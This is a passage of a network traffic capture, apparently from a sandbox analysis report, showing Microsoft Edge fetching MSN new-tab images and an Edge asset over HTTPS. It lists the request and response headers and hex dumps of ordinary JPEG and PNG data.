2024-11-28 10:05:37 UTC	634	OUT	GET /tenant/amp/entityid/BB1msB1P.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:37 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 24 Nov 2024 06:22:54 GMT X-Datacenter: eastus X-ActivityId: 6b76c10f-bee1-4f01-963b-c3e69438daf6 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msB1P X-Source-Length: 105715 Content-Length: 105715 Cache-Control: public, max-age=72932 Expires: Fri, 29 Nov 2024 06:21:09 GMT Date: Thu, 28 Nov 2024 10:05:37 GMT Connection: close
2024-11-28 10:05:37 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 10:05:37 UTC	16384	IN	Data Raw: 34 48 97 92 c1 2d cb 56 83 08 76 d8 25 b9 6e c3 08 57 57 56 db 02 b0 e9 0c af 1c 17 60 a1 b6 57 8d 0e c1 b6 c8 db 43 b0 70 f6 19 1e 4b 62 b2 b0 dc 3d 97 92 cc 83 31 c3 70 dc b7 89 99 06 63 86 e1 e6 27 92 d5 a1 e6 3c 2d c3 c9 6e 5a b4 56 66 c3 70 f2 5b 96 ed 0b 32 d0 f6 1d 24 b7 25 bb 41 99 78 75 75 96 e5 96 80 23 c8 74 96 e5 96 05 e1 e3 ac ba cb 2c 61 5e 31 cb 72 d5 85 17 7b 46 37 8c b1 d0 4a 3c 74 6d 96 14 5a 8f 1d 5b 60 cd 78 f1 eb 06 36 de 36 d8 0d b6 db 6c 06 f1 eb ab 63 35 b7 8d ba 18 de 3d 6d b2 4c 6d e3 6c 03 5b 78 f1 80 59 b7 46 d8 05 db 74 78 c0 08 db 1b 6d 00 47 92 e8 db 65 17 96 dd 1b 68 0b 36 ea f5 80 6b 6f 1b 60 1a db c6 db 03 5b 78 db 00 d6 de 36 c0 35 e3 6d b0 06 db 6d b6 03 6d e3 6c 03 5e 3c 6d 80 36 de 3c 60 0d b6 db 60 18 f1 b6 d8 33 1e Data Ascii: 4H-Vv%nWWV`WCpKb=1pc'<-nZVfp[2$%Axuu#t,a^1r{F7J<tmZ[`x66lc5=mLml[xYFtxmGeh6ko`[x65mmml^<m6<``3
2024-11-28 10:05:37 UTC	2219	IN	Data Raw: 84 25 f4 f3 54 2a 7f c4 c0 3d e5 c6 dd 91 f1 21 5d d5 fb 35 93 69 49 d4 1e e7 50 a5 0d 8d e3 0f 01 35 36 96 13 e5 2a c2 0e 92 ca 91 74 9c c5 75 3f a3 94 50 93 50 4a 0f 0d 3b 9c 15 5c bd 68 c2 ce 29 d0 c1 8e fd 1d 5e 23 44 e3 b5 32 72 25 0a aa c9 e7 11 d9 21 aa 2b a8 90 00 04 78 12 7d c3 b5 a0 21 33 52 49 ac 67 af 2a 49 6a 98 ae 00 62 3c 64 81 e0 05 5c 49 1d 0b 76 59 00 bc bc 04 ce 22 69 53 f8 98 ee 60 b6 54 a0 54 0e 11 48 93 04 9e 1c 39 97 15 61 2a 56 25 a8 ac f2 1c fc 34 d8 1a 92 52 54 02 ae 0c 09 88 09 12 29 c6 b4 75 92 47 2b 59 d9 11 45 6b 20 22 aa d2 98 a4 f0 d6 44 e6 f4 20 58 50 a2 89 e4 8a 6d 05 5f 6e f6 b0 95 ee 44 a6 38 64 c4 a2 0a 65 50 49 e1 04 7b e5 ac 59 6e c8 30 d2 de 1d 3d 41 18 3c 9b b0 64 04 fa 47 89 67 37 79 38 00 db 59 91 00 8a 4c 7b e8 Data Ascii: %T=!]5iIP56tu?PPJ;\h)^#D2r%!+x}!3RIgIjb<d\IvY"iS`TTH9aV%4RT)uG+YEk "D XPm_nD8dePI{Yn0=A<dGg7y8YL{
2024-11-28 10:05:38 UTC	16384	IN	Data Raw: 32 a0 27 98 d7 f4 71 8f 4f 6d 1f eb 23 10 15 15 89 e0 73 da f4 8f 5b a3 27 56 d3 e5 4d ef f2 b1 61 60 37 4e 32 c4 3b 6f 06 4a 0a d9 f8 b8 c4 cb f4 93 b5 64 17 93 c5 cb b5 0a d5 a7 89 fc 5a 8d aa 3b 11 2c a1 80 82 34 72 77 8e 86 e2 5b 11 09 57 4a 72 05 c4 37 67 20 d4 8a 50 b7 09 56 7f 2f 73 43 30 5d 19 f6 17 4b 87 78 98 4d c5 27 eb 83 c3 61 49 82 a2 00 3c 6b 1e e7 45 5e e9 ad f9 70 cf 32 75 d7 23 93 c5 eb 25 ba e5 fd a5 e1 23 04 75 09 f8 6f a7 62 a4 fb 43 50 b6 16 47 9c a4 9f f1 fd 1e d9 b8 16 3c d6 80 a8 f3 55 22 38 49 d7 8b 99 f3 09 b7 29 40 11 cc 0d 7c 4e bd cf 96 7d 64 61 95 67 ca d7 aa c7 81 73 29 51 ac 0d a5 ec 25 5a 94 fd dc 0b b7 f1 99 50 13 14 99 87 0f e6 63 48 f0 03 ec e3 e7 93 59 42 4d f8 24 4e 11 de e8 24 93 6a 0f f8 fd 8f dd a5 fc b5 d9 fd 92 Data Ascii: 2'qOm#s['VMa`7N2;oJdZ;,4rw[WJr7g PV/sC0]KxM'aI<kE^p2u#%#uobCPG<U"8I)@\|N}dags)Q%ZPcHYBM$N$j
2024-11-28 10:05:38 UTC	16384	IN	Data Raw: 9a 7e e8 f6 07 5d d1 09 42 c0 04 98 26 29 31 f8 b8 c5 06 74 ce ba d3 c4 02 d7 09 42 46 7f f6 af b0 77 34 f5 94 98 92 12 39 02 67 df 0f 48 4d b6 02 7a 92 3e b1 49 ec 3e d7 0d 63 48 03 b5 a8 29 48 d3 11 1e 3f 8b 84 ab 83 22 ae f3 ee 7d f1 b2 08 25 31 f9 7b 5d 30 1e 0e 5e 2f f2 2f 3e b4 05 f5 66 22 2e 0e 1d af 70 fd 4b 94 7c 3b 9d 23 88 ee 65 88 8d 87 ea 5d 22 1c 83 b4 76 b1 c3 b0 05 0e b0 cc 5d 21 d8 03 87 af 5e 87 40 58 07 86 59 3c b9 bc a3 90 02 5d 59 0b a6 17 60 51 eb 24 32 61 6e c0 10 64 14 77 c1 c1 ee 17 0d 80 27 56 58 87 9d cc 40 07 b9 e3 23 af 73 a0 07 e2 f1 93 b9 bf 17 40 51 b7 7f 17 90 c0 28 df 83 bc 3c c2 d8 14 6d db 0e d6 e1 80 55 eb b4 37 0c 02 ad bb c3 58 b1 ea de b3 a9 83 6e c5 c5 03 e9 11 85 3f bc a8 0f 39 4e 30 57 29 28 ae 2e be 23 11 9d 84 Data Ascii: ~]B&)1tBFw49gHMz>I>cH)H?"}%1{]0^//>f".pK\|;#e]"v]!^@XY<]Y`Q$2andw'VX@#s@Q(<mU7Xn?9N0W)(.#
2024-11-28 10:05:38 UTC	7952	IN	Data Raw: 75 b0 2c 7a ad 27 7b 79 38 8d 54 12 71 28 9d 74 d7 66 81 f2 37 7a ab f7 a5 2b ea 6e 6c 07 08 8d 89 00 17 13 77 68 53 19 d9 a7 7f 27 cb 2e ba 0b e9 8c 9b e2 b2 f6 7e e3 d9 e8 26 75 dd 6f 51 d7 15 a5 29 b8 9b 26 84 7c 25 40 64 64 e9 cc 34 a1 62 e1 10 7c a3 90 d9 c6 84 1e 0c 9b cd d2 3c 84 72 a1 c4 66 b9 38 c6 ed f5 1f 84 a6 92 56 af 28 d3 41 cd f9 52 d4 d4 d4 6d da f1 0d db 82 6e 50 a1 e5 89 30 3c da e5 f0 98 a4 f2 87 89 bf 71 6b 4a 6d a6 42 7c b8 c1 94 a7 87 1a 3a e3 8f 32 ae c4 88 85 0f 2d 33 1c 5c 9b 7b e2 90 13 69 04 9a cf c2 8e 55 98 cb 6b c9 ee cf 3e 57 95 7b 6a c4 1a c6 ef a7 2a 52 94 54 b5 0f 88 c8 a4 e5 b6 20 cb 0d c0 3a e0 13 81 69 b4 4e 25 5c cf fa 06 6e 47 cb 5b 51 fe e2 b1 eb 23 44 8e e3 2e 52 af 59 44 56 20 08 03 21 11 14 e4 f9 ef 3b 8d b9 73 Data Ascii: u,z'{y8Tq(tf7z+nlwhS'.~&uoQ)&\|%@dd4b\|<rf8V(ARmnP0<qkJmB\|:2-3\{iUk>W{j*RT :iN%\nG[Q#D.RYDV !;s
2024-11-28 10:05:38 UTC	16384	IN	Data Raw: 92 3b 61 b8 7e 55 a5 09 5b 72 92 e3 5e a0 b3 b3 3f f2 4e b5 0a 1f b2 50 19 46 be 3f 67 5b 9f f2 5e b5 63 c8 9b 68 98 ca 4f 6b e1 b0 7f 93 71 57 ea 7c 97 4b 93 ed 41 d7 02 6d 9d d0 ff 00 93 75 73 17 2d 5a 50 11 48 50 ff 00 c9 cc 1f f2 5b be 8d 9b 51 c6 69 db 57 e7 d2 34 2f 60 3c df 45 d2 bf f6 92 f2 ba f8 86 67 a3 8f f9 45 e9 1f d9 b3 4d 7e 2f bb bd cf f9 35 d8 50 45 84 a6 47 95 60 e2 23 bc 43 f3 40 13 31 1b 19 05 0d 1e 7f 21 d2 ff 00 f3 5e fa f8 8e ce 91 5e be eb ee 05 0d e9 ae 84 52 2b 5d 1c 0b bd 77 53 7c 27 1d fb b2 91 4f 31 a4 eb 9b 4c 92 83 29 24 7d 68 c8 2f 08 aa 07 70 99 7d 4b 47 4e 3f 46 94 17 92 5e 81 58 25 1b 8b 3f dc 52 c9 8d 49 74 06 e2 27 cc a0 9f cb 58 76 07 15 05 38 64 ed 2b 8a f7 7b 9f 4f 0a 5e 54 01 ad de 5a 47 95 6a 4c d0 c1 30 76 87 0d Data Ascii: ;a~U[r^?NPF?g[^chOkqW\|KAmus-ZPHP[QiW4/`<EgEM~/5PEG`#C@1!^^R+]wS\|'O1L)$}h/p}KGN?F^X%?RIt'Xv8d+{O^TZGjL0v
2024-11-28 10:05:38 UTC	14144	IN	Data Raw: 0c a3 93 e8 4d 3d f9 13 42 d2 6f e0 09 9c 2b 04 0a 56 93 97 86 75 72 96 b0 6c d2 80 19 e3 a3 e6 66 20 72 6a 16 ee 11 47 cb a9 a4 b2 69 6d bf 31 d9 1b 7a 67 52 4f 1a fb 5e ef 04 cc c3 52 c2 85 7c 49 11 cc 7b db 3d 3a 2f 11 09 c0 38 7b f3 96 77 21 b5 35 c7 20 cc 8d 8d 2b a9 ac 7d 6c 62 50 06 a9 f1 64 5f 4c 51 49 1b 64 31 60 50 49 a5 69 f5 f7 74 b0 ef 4c 43 0b 11 38 73 73 ad dd 99 15 8d 78 38 01 5c c0 19 72 97 54 12 9a 35 28 da 79 00 b2 6e 28 10 a4 a8 83 ab e8 fa 4f 5b f5 06 ea 51 76 00 54 00 a3 48 e3 2f 8b 4d c2 0c 17 3d 24 69 13 ee fb 3e 0d 5d 18 4a 35 28 a7 96 4f 6a 2c f6 2c 57 15 15 42 c1 e4 42 bd be c7 11 7d 3d b5 d5 76 12 76 02 93 ff 00 42 fc c0 aa ea 2a 9b 85 20 54 42 8f b1 ac 74 fe b8 bd 6d 50 a3 8b 8a b3 1c df 82 fa 3d 48 ab d3 92 7e 57 16 5d 9d 4f Data Ascii: M=Bo+Vurlf rjGim1zgRO^R\|I{=:/8{w!5 +}lbPd_LQId1`PIitLC8ssx8\rT5(yn(O[QvTH/M=$i>]J5(Oj,,WBB}=vvB* TBtmP=H~W]O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.7	49887	104.117.182.59	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:37 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:37 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 23 Nov 2024 13:20:48 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 4d48a1b6-f53b-4e77-9d86-8bdbb1376117 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=400657 Expires: Tue, 03 Dec 2024 01:23:14 GMT Date: Thu, 28 Nov 2024 10:05:37 GMT Connection: close
2024-11-28 10:05:37 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	49888	104.117.182.59	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:37 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:37 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=143422 Expires: Sat, 30 Nov 2024 01:55:59 GMT Date: Thu, 28 Nov 2024 10:05:37 GMT Connection: close
2024-11-28 10:05:37 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.7	49889	104.117.182.59	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:37 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:37 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=418089 Expires: Tue, 03 Dec 2024 06:13:46 GMT Date: Thu, 28 Nov 2024 10:05:37 GMT Connection: close
2024-11-28 10:05:37 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.7	49884	104.117.182.59	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:37 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:37 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=228119 Expires: Sun, 01 Dec 2024 01:27:36 GMT Date: Thu, 28 Nov 2024 10:05:37 GMT Connection: close
2024-11-28 10:05:37 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.7	49886	104.117.182.59	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:37 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:38 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=126734 Expires: Fri, 29 Nov 2024 21:17:52 GMT Date: Thu, 28 Nov 2024 10:05:38 GMT Connection: close
2024-11-28 10:05:38 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	49890	13.107.246.40	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:37 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
